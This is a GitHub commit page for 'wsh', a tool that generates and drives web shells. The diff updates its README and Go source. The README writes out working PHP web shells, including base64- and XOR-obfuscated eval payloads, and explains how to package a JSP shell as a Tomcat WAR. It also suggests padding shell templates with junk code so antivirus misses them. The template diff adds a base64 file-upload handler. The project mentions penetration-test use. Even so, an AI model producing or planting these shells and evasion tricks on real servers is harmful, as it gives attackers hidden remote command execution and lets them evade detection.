Skip to content

Commit

Permalink
Cleanup/documentation
Browse files Browse the repository at this point in the history
  • Loading branch information
Adam Eaton committed Jun 30, 2020
1 parent edcd100 commit f252e8d
Show file tree
Hide file tree
Showing 4 changed files with 141 additions and 13 deletions.
145 changes: 134 additions & 11 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -2,7 +2,7 @@

wsh (pronounced woosh) is a web shell generator and command line interface. This started off as just an http client since interacting with webshells is a pain. There's a form, to send a command you have to type in an input box and press a button. I wanted something that fits into my workflow better and ran in the terminal. Thus wsh was born.

The client features command history, logging, and can be configured to interact with a previously deployed webshell with a form/button. The generator creates webshells in php, asp, and jsp. They are generated with random variables, so each will have a unique hash. They can be configured with a whitelist, passwords, and allow commands to be sent over custom headers and parameters. The generator and client can be configured through command line flags or configuration files to allow for saving a setup that works for you without doing what I call the "--help" dance. Once configured, the client and generator use the same config file.
The client features command history, logging, and can be configured to interact with a previously deployed standard webshell with a form/button. The generator creates webshells in php, asp, and jsp. They are generated with random variables, so each will have a unique hash. They can be configured with a whitelist, passwords, and allow commands to be sent over custom headers and parameters. The generator and client can be configured through command line flags or configuration files to allow for saving a setup that works for you without doing what I call the "--help" dance. Once configured, the client and generator use the same config file.

## Features

Expand All @@ -12,17 +12,16 @@ The client features command history, logging, and can be configured to interact
- IP whitelisting
- Password protection
- Send commands over custom headers/parameters
- File download
- File upload (Work in progress)
- File upload / download
- Base64 encoded shells for asp and php
- XOR encrypted shells for asp and php

## Usage

### Connect functionality
### Connect

```
wsh [flags] <URL>
wsh <URL> [flags]
-X, --method string HTTP method: GET, POST, PUT, PATCH, DELETE (default "GET")
--param string Parameter for sending command
Expand All @@ -39,10 +38,11 @@ wsh [flags] <URL>
-h, --help help for wsh
```

### Generate webshell
### Generate

```
wsh generate <language> [flags]
wsh g <language> [flags]
-X, --method string HTTP method (GET,POST,PUT,PATCH,DELETE) (default "GET")
-p, --param string Parameter for sending command
Expand All @@ -62,7 +62,20 @@ wsh generate <language> [flags]
-h, --help help for generate
```

## Examples
### Client usage / File IO

I wanted the client to be language agnostic, so all webshells needed to implement the same upload/download logic. Unfortunately it is a pain to do multipart form uploads natively in jsp and classic asp, so files are uploaded as base64 in a parameter. This is not ideal as the max file upload size is limited to the maximum parameter size. In the future I may try and implement multipart form uploads, or do multiple requests to transfer larger files.

```
$ wsh 127.0.0.1:8080/test.php --param cmd
127.0.0.1> help
get <remote filepath> [local filepath] Download file
put <local filepath> [remote filepath] Upload file
clear Clear screen
exit Exits shell
```

## Generator Examples

### Simple Shells

Expand All @@ -84,7 +97,7 @@ $ wsh 127.0.0.1:8080/shell.php --param cmd
?>
```

Commands can also be passed over http headers
Commands can also be sent over http headers

```
$ wsh generate php --no-file --header user-agent -o shell.php
Expand All @@ -96,7 +109,7 @@ $ wsh 127.0.0.1:8080/shell.php --header user-agent
### Whitelisting

```
$ wsh generate php --no-file --param cmd -w 127.0.0.1,10.0.23.3 -w 192.4.22.3 -o shell.php
$ wsh generate php --no-file --param cmd -w 127.0.0.1,10.0.23.3 -w 12.4.22.3 -o shell.php
```

### Password Protection
Expand All @@ -111,6 +124,116 @@ $ wsh generate php --no-file --param cmd --pass S3cr3t --pass-header pass-header
$ wsh 127.0.0.1:8080/shell.php --param cmd -H pass-header:S3cr3t
```

### Compile jsp to war
### Base64 / XOR encryption

This functionality is interesting, but may require some modification of the templates to be made useful. In the case of asp and jsp, the libraries that facilitate decoding base64 are known IOCs and will get flagged. If you are interested in using these functionalities I'd recommend modifying the template and obfuscating.

Same as password protection, the xor key can be sent over a parameter or a header.

```
$ wsh g php --param cmd --no-file --base64
<?php
eval(base64_decode('JEZISENTPSRfUkVRVUVTVFsnY21kJ107JEZISENTPXRyaW0oJEZISENTKTtzeXN0ZW0oJEZISENTKTtkaWU7'))
?>
$ wsh g php --param cmd --no-file --xor-key S3cr3tK3y --xor-param X-Key
<?php
$KHhx = $_REQUEST["X-Key"];
$LqC = base64_decode("d2MPPUdJb2wrFmI2N2AgEBQaPldELwhQG182Jw4XAFoZYxcpP3wXWwgHMkANNl5LVmMYBEdQaFcKFwg=");
$oooqt = "";
for($YpuI=0; $YpuI<strlen($LqC); ) {
for($cMq=0; ($cMq<strlen($KHhx) && $YpuI<strlen($LqC)); $cMq++,$YpuI++) {
$oooqt .= $LqC{ $YpuI } ^ $KHhx{ $cMq };
}
}
eval($oooqt);
?>
```

### Tomcat Shells

To generate a webshell which can be deployed to tomcat, create a jsp shell named index.jsp and run the command below to zip it into a war file.

Occasionally, the tomcat environment does not have the libraries required for file upload/download and the shell will error when a request is made. To remediate this, use the `--no-file` flag.

```
$ wsh g jsp --param cmd --no-file -o index.jsp
$ jar -cvf shell.war index.jsp
```

jar -cvf filename.war index.jsp
## Templates

Using the go template library adds alot of flexibility to the generator. Occasionally a webshell will get caught by AV however, I have found that adding in a bunch of random code in the template file will often make the shell look benign enough to allow it to persist on the disk. I have included an example in the templates/covert-php.tml file.

Additionally, you can modify these templates to include your name/contact information for attribution in the use case of a penetration test.

## Client Functionality

### Prefix

A prefix can be specified to prepend a string to each command sent to the shell. This can be used to turn a normal cmd shell into a powershell shell.

```
$ wsh http://10.0.0.27/shell.asp --param cmd --prefix powershell.exe
10.0.0.27> ls
Directory: C:\windows\system32\inetsrv
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 5/27/2020 11:49 PM config
d----- 5/27/2020 11:49 PM en
d----- 5/28/2020 12:25 AM en-US
-a---- 5/27/2020 11:49 PM 119808 appcmd.exe
```

### Logging

Logs are timestamped and include the host being interacted with. Log files are appended, so feel free to use the same log file for multiple sessions/hosts.

```
127.0.0.1:8080/shell.php --param cmd --log localhost.log
Logging to: localhost.log
127.0.0.1> ls
README.md
cmd
example-configs
...
[04/20/2020 12:02:17] 127.0.0.1> ls
README.md
cmd
example-configs
```

### Trim prefix/suffix

The client can be configured to trim extraneous html content from a request, this is useful when interacting with standard html interface webshells, or maybe if a generated shell is sneakily embedded in a wordpress installation.

```
$ wsh 127.0.0.1:8080/index.php -X POST --param cmd
127.0.0.1> ls
. . .
<div class="pb-2 mt-4 mb-2">
<h2> Output </h2>
</div>
<pre>
README.md
cmd
example-configs
index.php
main.go
templates
</pre>
</div>
. . .
$ wsh 127.0.0.1:8080/index.php -X POST --param cmd --trim-prefix '<pre>' --trim-suffix '</pre>'
127.0.0.1> ls
README.md
cmd
example-configs
index.php
main.go
templates
```
2 changes: 1 addition & 1 deletion cmd/generate-templates.go
Original file line number Diff line number Diff line change
Expand Up @@ -65,7 +65,7 @@ var phpTemplate = `
echo {{ index .V "destPath" }}.' already exists';
die;
}
file_put_contents({{ index .V "destPath" }}, file_get_contents('php://input'));
file_put_contents({{ index .V "destPath" }}, base64_decode($_REQUEST['f']));
echo 'Uploaded '.{{ index .V "filePath" }}.' to '.{{ index .V "destPath" }};
die;
}
Expand Down
5 changes: 5 additions & 0 deletions cmd/generate.go
Original file line number Diff line number Diff line change
Expand Up @@ -121,6 +121,11 @@ func init() {
func generate(cmd *cobra.Command, args []string) {
lang = args[0]

if cmdParam == "" && cmdHeader == "" {
fmt.Println("--param or --header required.")
os.Exit(1)
}

vNameMin := 3
vNameMax := 7
vNames := map[string]string{
Expand Down
2 changes: 1 addition & 1 deletion cmd/root.go
Original file line number Diff line number Diff line change
Expand Up @@ -304,7 +304,7 @@ func interact(cmd *cobra.Command, args []string) {
func printHelp() {
fmt.Println("get <remote filepath> [local filepath] Download file")
fmt.Println("put <local filepath> [remote filepath] Upload file")
fmt.Println("clear Clear shell screen")
fmt.Println("clear Clear screen")
fmt.Println("exit Exits shell")
}

Expand Down

0 comments on commit f252e8d

Please sign in to comment.